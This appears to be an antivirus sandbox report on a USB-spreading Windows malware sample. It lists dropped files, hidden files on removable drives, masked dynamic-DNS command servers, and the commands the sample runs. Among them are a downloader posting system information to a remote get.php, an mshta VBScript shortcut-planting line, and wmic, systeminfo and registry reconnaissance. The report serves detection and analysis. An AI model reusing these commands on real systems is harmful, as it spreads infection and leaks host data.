Technical Information
To ensure autorun and distribution
Creates the following files on removable media
- <Drive name for removable media>:\state.ini
Modifies file system
Creates the following files
- %TEMP%\7zipsfx.000\windowssetting.cmd
- %TEMP%\7zipsfx.000\chrome.exe
- %TEMP%\7zipsfx.000\system.mmm
- %TEMP%\7zipsfx.000\index.txt
- %TEMP%\7zipsfx.000\index.html
- nul
- %TEMP%\7zipsfx.000\servicedevices.exe
- %TEMP%\7zipsfx.000\list.txt
- %TEMP%\7zipsfx.000\lecfqqgvfluc9vczh
- %TEMP%\7zipsfx.000\id_usb.cmd
- %TEMP%\7zipsfx.000\usb.cmd
- %TEMP%\7zipsfx.000\r_schtasks.cmd
- %TEMP%\7zipsfx.000\bot.cmd
- %TEMP%\7zipsfx.000\statistic.cmd
- %TEMP%\7zipsfx.000\kills.cmd
- %TEMP%\7zipsfx.000\ip
- %APPDATA%\microsoft\office\plugin\officesetting.exe
Sets the 'hidden' attribute to the following files
- <Drive name for removable media>:\state.ini
Deletes the following files
- %TEMP%\7zipsfx.000\index.txt
- %TEMP%\7zipsfx.000\system.mmm
- %TEMP%\7zipsfx.000\list.txt
Moves the following files
- from %TEMP%\7zipsfx.000\index.html to %TEMP%\7zipsfx.000\index.txt
Network activity
Connects to
- 'ch####p.dyndns.org':80
- 'sp###6.ddns.net':80
TCP
HTTP POST requests
- http://sp###6.ddns.net/get.php
- http://sp###6.ddns.net/update.php
UDP
- DNS ASK ch####p.dyndns.org
- DNS ASK sp###6.ddns.net
Miscellaneous
Creates and executes the following
- '%TEMP%\7zipsfx.000\servicedevices.exe' -q -S http://ch####p.dyndns.org/
- '%TEMP%\7zipsfx.000\servicedevices.exe' --post-data="versiya=sbu_42&comp=iokepmxjwgb&id=iokepmxjwgb_55A80CFE&sysinfo=Host Name: iokepmxjwgb+###OS Name: Microsoft Windows 7 Enterprise +###OS Version: ...
- '%WINDIR%\syswow64\cmd.exe' /c ""%TEMP%\7ZipSfx.000\WindowsSetting.cmd" sbu"' (with hidden window)
Executes the following
- '%WINDIR%\syswow64\cmd.exe' /c ""%TEMP%\7ZipSfx.000\WindowsSetting.cmd" sbu"
- '%WINDIR%\syswow64\reg.exe' QUERY "HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced" /v HideFileExt
- '%WINDIR%\syswow64\find.exe' "0x2"
- '%WINDIR%\syswow64\reg.exe' QUERY "HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced" /v Hidden
- '%WINDIR%\syswow64\attrib.exe' +h <Drive name for removable media>:\Recycle
- '%WINDIR%\syswow64\attrib.exe' +h "<Drive name for removable media>:\state.ini"
- '%WINDIR%\syswow64\mshta.exe' vbscript:Execute("Set x=CreateObject(""WScript.Shell"").CreateShortcut(""<Drive name for removable media>:\Mon 07/26/2021.lnk""):x.TargetPath=""<SYSTEM32>\cmd.exe"":x.Arguments=""/C %WINDIR%\ex...
- '%WINDIR%\syswow64\find.exe' "="
- '%WINDIR%\syswow64\wbem\wmic.exe' LogicalDisk Where (DriveType=2 And MediaType=NULL) Get Name,VolumeSerialNumber /Value
- '%WINDIR%\syswow64\cmd.exe' /c WMIC LogicalDisk Where (DriveType=2 And MediaType=NULL) Get Name,VolumeSerialNumber /Value|Find "="
- '%WINDIR%\syswow64\cmd.exe' /c vol c
- '%WINDIR%\syswow64\cmd.exe' /c ver
- '%WINDIR%\syswow64\find.exe' "0x0"
- '%WINDIR%\syswow64\findstr.exe'
- '%WINDIR%\syswow64\cmd.exe' /c wmic process where "Name='<File name>.exe'" get ExecutablePath /value| findstr
- '%WINDIR%\syswow64\tasklist.exe'
- '%WINDIR%\syswow64\cmd.exe' /c tasklist
- '%WINDIR%\syswow64\wbem\wmic.exe' process get parentprocessid, commandline /value
- '%WINDIR%\syswow64\cmd.exe' /c wmic process get parentprocessid, commandline /value
- '%WINDIR%\syswow64\systeminfo.exe'
- '%WINDIR%\syswow64\ping.exe' spr-d6.ddns.net
- '%WINDIR%\syswow64\windowspowershell\v1.0\powershell.exe' "sc ($x='index.txt') ((gc $x)-replace '</body></html>')"
- '%WINDIR%\syswow64\windowspowershell\v1.0\powershell.exe' "sc ($x='index.txt') ((gc $x)-replace '<html><head><title>Current IP Check</title></head><body>Current IP Address: ')"
- '%WINDIR%\syswow64\find.exe' /i "TTL="
- '%WINDIR%\syswow64\ping.exe' 8.8.8.8
- '%WINDIR%\syswow64\wbem\wmic.exe' process where "Name='<File name>.exe'" get ExecutablePath /value
- '%WINDIR%\syswow64\reg.exe' add HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced\ /v HideFileExt /t REG_DWORD /d 00000000 /f
